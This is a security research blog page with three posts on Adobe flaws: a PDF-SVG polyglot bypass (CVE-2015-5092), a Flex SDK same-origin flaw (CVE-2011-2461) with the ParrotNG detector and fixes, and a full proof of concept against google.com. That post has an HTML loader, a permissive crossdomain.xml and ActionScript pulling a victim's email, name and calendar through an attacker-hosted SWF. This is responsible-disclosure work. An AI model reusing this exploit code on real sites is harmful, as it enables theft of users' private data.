Showing posts with label Adobe. Show all posts
Showing posts with label Adobe. Show all posts

Tuesday, August 4, 2015

PDF-based polyglots through SVG images (CVE-2015-5092)

Many vulnerabilities in Adobe Reader were recently patched in APSB15-15; the security update addresses a vulnerability (CVE-2015-5092) that we responsibly reported to Adobe PSIRT in April 2015. 

The vulnerability consists in a bypass to the PDF content smuggling countermeasure, which Adobe introduced in January 2013 to address PDF-based polyglots. In fact, it was possible to craft PDF-SVG Polyglots which were correctly read both by Adobe Reader (as a PDF document) and by SVG interpreters (as an image).
Such technique could be useful when facing some very specific scenarios, such as: 
  • Web application allowing SVG images uploads and validating them through a robust (SVG-)XSS filter 
  • Web application allowing SVG images uploads and relying only on Content Security Policy for protecting against XSS
In both the cases, we are assuming that genuine PDF files uploads are prohibited; in the second scenario we are considering the presence of a server-side SVG parser which verifies that the supplied image is at least well-formed.
Although we all know that allowing SVG files uploads is sufficient for being vulnerable to Stored XSS, this should not be correct in presence of a robust (SVG-)XSS filter, validating untrusted images. In such circumstance, uploading a PDF-based polyglot would permit to bypass the SVG filtering procedure and steal private data by abusing same-origin requests, carried out from the PDF context.
In case of XSS protection achieved through CSP instead, inline JavaScript execution is disabled by default; however, this assumption was not observed in some browsers, when accessing polyglots which evaluated JavaScript code from the PDF context, instead of the SVG one.

Although some limitations are in place when dealing with such vulnerability, it is worth sharing since it turns out quite fascinating from a security research perspective. 
First, the vulnerability introduces a potential bypass in tight SVG filters, which accept comments without inspecting their content; moreover, the issue proves destructive when compared with the efforts required for building and testing filters; consider for instance the case of MediaWiki which progressively built a robust filtering procedure against user supplied SVG images. 
Secondly, polyglots get interesting when dealing with Content Security Policy, especially in case of missing explicit policy directives, by blindly trusting default-src. 

Here follows the related paper containing all the details and proof of concepts.



At this point it is important to consider that default installations of Firefox, Chrome and Opera do not use Adobe Reader for rendering PDF files; therefore, potentially affected users are the ones who modified their browser settings in order to use Adobe Reader instead of the default built-in reader. In addition, note that Chrome is going to disable NPAPI support. 

Eventually, this issue makes us consider again the risks involved in file uploads, and more generally in content hosting; content sanitization proves insufficient, therefore the usage of sandboxed domains is obviously the suggested design choice to operate the expected isolation and mitigate all the involved risks. However, since SVG images can be deployed in many different ways, further observations should be made on this basis.


Users are recommended to update Adobe Reader to version 11.0.12; in addition, blacklisting %PDF- in SVG filtering procedures would be a plus for protecting users using older Reader versions. From the CSP perspective, instead, setting object-src and plugin-types to 'none' would probably be helpful for protecting against similar polyglot-based attacks.

Monday, March 30, 2015

Exploiting CVE-2011-2461 on google.com

As a follow up of our Troopers 2015 presentation about CVE-2011-2461 we want to release more details about a real world exploitation scenario targeting Google services.
During our large-scale analysis of web sites hosting vulnerable SWF files, we found out that also Google was affected.

Attack Flow

In the next lines we are assuming a basic knowledge of the CVE-2011-2461 vulnerability; make sure to read our previous cross-posts on NibbleSec or Minded Security in case you missed something. In addition, please note that we are using evil.com as a "label" for a fictitious site controlled by an attacker.

The following steps outline a successful attack:
- The victim is logged on google.com, and visits a malicious website
- The malicious site loads an HTML page, which embeds the vulnerable SWF together with a malicious SWF resource file (specified via FlashVars)
- The vulnerable SWF file is loaded by the Flash player, consequently loading the malicious SWF file (after having verified the crossdomain.xml, hosted on the attacker's site)
- Since the malicious SWF inherits the SecurityDomain of the vulnerable SWF, it can access HTTP responses from the victim's domain, leading to an "indirect" Same-Origin Policy bypass in fully patched web browsers and plug-ins.


Proof of Concept

Here follow the PoC files.

http://evil.com/poc/test.html

<i>Victim's agenda:</i>
<textarea id="x" style="width: 100%; height:50%"></textarea>
<object width="100%" height="100%"
type="application/x-shockwave-flash"
data="https://www.google.com/wonderwheel/wonderwheel7.swf">
<param name="allowscriptaccess" value="always">
<param name="flashvars" value="resourceModuleURLs=http://evil.com/poc/URLr_google.swf">
</object>

http://evil.com/crossdomain.xml

<?xml version="1.0"?>
<cross-domain-policy>
<allow-access-from domain="*" />
</cross-domain-policy>

http://evil.com/poc/URLr_google.swf (ActionScript code below)

package {
import flash.display.Sprite;
import flash.text.TextField;
import flash.events.*;
import flash.net.*;
import flash.external.ExternalInterface;

public class URLr_google extends Sprite {
public static var app : URLr_google;
private static var email : String;

public function main():void {
app = new URLr_google();
}

public function URLr_google() {
var url:String = "https://www.google.com/?gws_rd=cr";
var loader:URLLoader = new URLLoader();
configureListeners(loader);
var request:URLRequest = new URLRequest(url);

try {
loader.load(request);
} catch (error:Error) {
ExternalInterface.call("alert", "Unable to load requested document");
}
}

private function configureListeners(dispatcher:IEventDispatcher):void {
dispatcher.addEventListener(Event.COMPLETE, completeHandler);
}

private function pingCalendar():void {
var url:String = "https://www.google.com/calendar/";
var loader:URLLoader = new URLLoader();
configureListenersCalendar(loader);
var request:URLRequest = new URLRequest(url);

try {
loader.load(request);
} catch (error:Error) {
ExternalInterface.call("alert", "Unable to load requested document");
}
}

private function configureListenersCalendar(dispatcher:IEventDispatcher):void {
dispatcher.addEventListener(Event.COMPLETE, completeHandlerCalendar);
}

private function getAgenda():void {
var url:String = "https://www.google.com/calendar/htmlembed?skipwarning=true&eopt=3&mode=AGENDA&src=" + email;
var loader:URLLoader = new URLLoader();
configureListenersAgenda(loader);
var request:URLRequest = new URLRequest(url);

try {
loader.load(request);
} catch (error:Error) {
ExternalInterface.call("alert", "Unable to load requested document");
}
}

private function configureListenersAgenda(dispatcher:IEventDispatcher):void {
dispatcher.addEventListener(Event.COMPLETE, completeHandlerAgenda);
}

private function completeHandler(event:Event):void {
var loader:URLLoader = URLLoader(event.target);
var s:String = loader.data;
var pattern:RegExp = /[a-z0-9._-]+@[a-z0-9._-]+\.[a-z]+/i;
var results:Array = s.match(pattern);

if (results.length > 0) {
email = results[0];
ExternalInterface.call("eval", "alert('Email address: " + email + "')");
pingCalendar();
}
}

private function completeHandlerCalendar(event:Event):void {
getAgenda();
}

private function completeHandlerAgenda(event:Event):void {
var loader:URLLoader = URLLoader(event.target);
var res:String = escape(loader.data);
ExternalInterface.call("eval", "document.getElementById('x').value='" + res + "';document.getElementById('x').value=unescape(document.getElementById('x').value)");
var pattern:RegExp = /title>[a-z0-9]+\s[a-z0-9]+<\/title/i;
var results:Array = unescape(res).match(pattern);

if (results.length > 0) {
var name:String = results[0];
name = (name.substring(name.indexOf(">") + 1)).split("<")[0];
ExternalInterface.call("eval", "alert('Name and surname:" + name + "')");
}
}
}
}

By asking the victim to access the page located at http://evil.com/poc/test.html, the attacker is able to steal the following information:
  • Gmail address
  • FirstName
  • LastName
  • Future events stored in Google Calendar

By inspecting the malicious resource "module", you will notice that it makes three different HTTP requests:
  1. 1st GET request to https://www.google.com/?gws_rd=cr to steal the victim's email address;
  2. 2nd GET request to https://www.google.com/calendar/ to initialize the Google Calendar for the current session;
  3. 3rd GET request to https://www.google.com/calendar/htmlembed?skipwarning=true&eopt=3&mode=AGENDA&src=[JUST_STOLEN_EMAIL_ADDRESS] to steal the victim's first name, last name and agenda.

Obviously, many other attack scenarios are possible, depending on the pages functionalities. For instance, the malicious SWF could steal anti-CSRF tokens and perform actions on behalf of the user.

For the sake of transparency: we reported the issue to Google security team early in December, and they quickly patched it and awarded us thanks to their bug bounty program. Cheers!

As a final reminder to developers, website's owners and security teams: ParrotNG is your friend! Make sure to inspect all hosted SWF files, or at least sandbox them under different domains. In the latter, ensure that sensitive domains are not giving trust to sandboxing domains through relaxed crossdomain policy files, since the "trust chain" would cancel out the benefits of such domains partition.


Brought to you by Mauro Gentile and Luca Carettoni

Thursday, March 19, 2015

The old is new, again. CVE-2011-2461 is back!

On March 19th @ Troopers 2015, me (Mauro Gentile) and Luca Carettoni presented an in-depth study on a very fascinating bug affecting old versions of Adobe Flex SDK.

For the sake of precision, this is a cross-post of the NibbleSec post.

Although Adobe patched the bug in 2011, it is still possible to exploit vulnerable SWF applications in fully patched web browsers with the latest version of Adobe Flash Player; successful exploitation leads to Same-Origin Request Forgery and Cross-Site Content Hijacking.

The particularity of (CVE-2011-2461) is that vulnerable Flex applications have to be recompiled or patched; even with the most recent Flash player, vulnerable Flex applications can be exploited. As long as the SWF file was compiled with a vulnerable Flex SDK, attackers can still use this vulnerability against the latest web browsers and Flash plug-in.

We conducted a large scale analysis against many high-profile web sites and we found out that a considerable portion is still hosting vulnerable Flex applications.

During the past months, we've done our best to privately disclose this issue to some of the largest websites, but we won't be able to reach a broader audience without publicly releasing the technical details.

The Issue

Starting from Flex version 3, Adobe introduced runtime localizations.
A new component in the Flex framework — the ResourceManager — allows access to localized resources at runtime. 
Any component that extends UIComponent, Formatter, Validator have a ResourceManager property, which allows the SWF file to access the singleton instance of the resource manager. 
ResourceManager exposes by default a property that can be controlled by an attacker via a specific Flash Variable: resourceModuleURLs.
Adobe Flex SDK (between 3.x and 4.5.1) is affected by such issue, since the parent SWF file loads the child module, and sets its SecurityDomain to SecurityDomain.currentDomain.
Obviously, this leads to:
  • Same-Origin requests forgery
  • Flash XSS (in older versions of the Flash player).
An attacker would need to embed the following content on a malicious HTML page and change resourceModuleURLs value to the malicious resource, such as http://at.tack.er/malicious.swf.


The Impact: Same-Origin Request Forgery

When successfully exploited a Same Origin Request Forgery attack allows a malicious web site to perform arbitrary requests to the vulnerable site, and read its response without restrictions.

In our case, it is possible to force the affected Flash movies to perform arbitrary requests to the hosting server and return the responses back to the malicious Flash file.
Since HTTP requests contain cookies and are issued from the victim’s domain, HTTP responses may contain private information including anti-CSRF tokens and user's data.

 

Detecting vulnerable Flex apps

We developed ParrotNG, an open-source Java-based tool for automatically identifying vulnerable SWF files, built on top of swfdump. It can be used both as a command line tool and as a Burp Pro Passive Scanner Plug-in.
You can download it from https://github.com/ikkisoft/ParrotNG/ - refer to the "How to Use" section in the README.md for further details.

How to protect

After having identified all Flex SWF files compiled with a vulnerable version of the Adobe Flex SDK, there are three possibilities:
  • Recompile them with the latest Apache Flex SDK, including static libraries;
  • Patch them with the official Adobe patch tool, as illustrated here. This seems to be sufficiently reliable, at least in our experience;
  • Delete them, if not used anymore.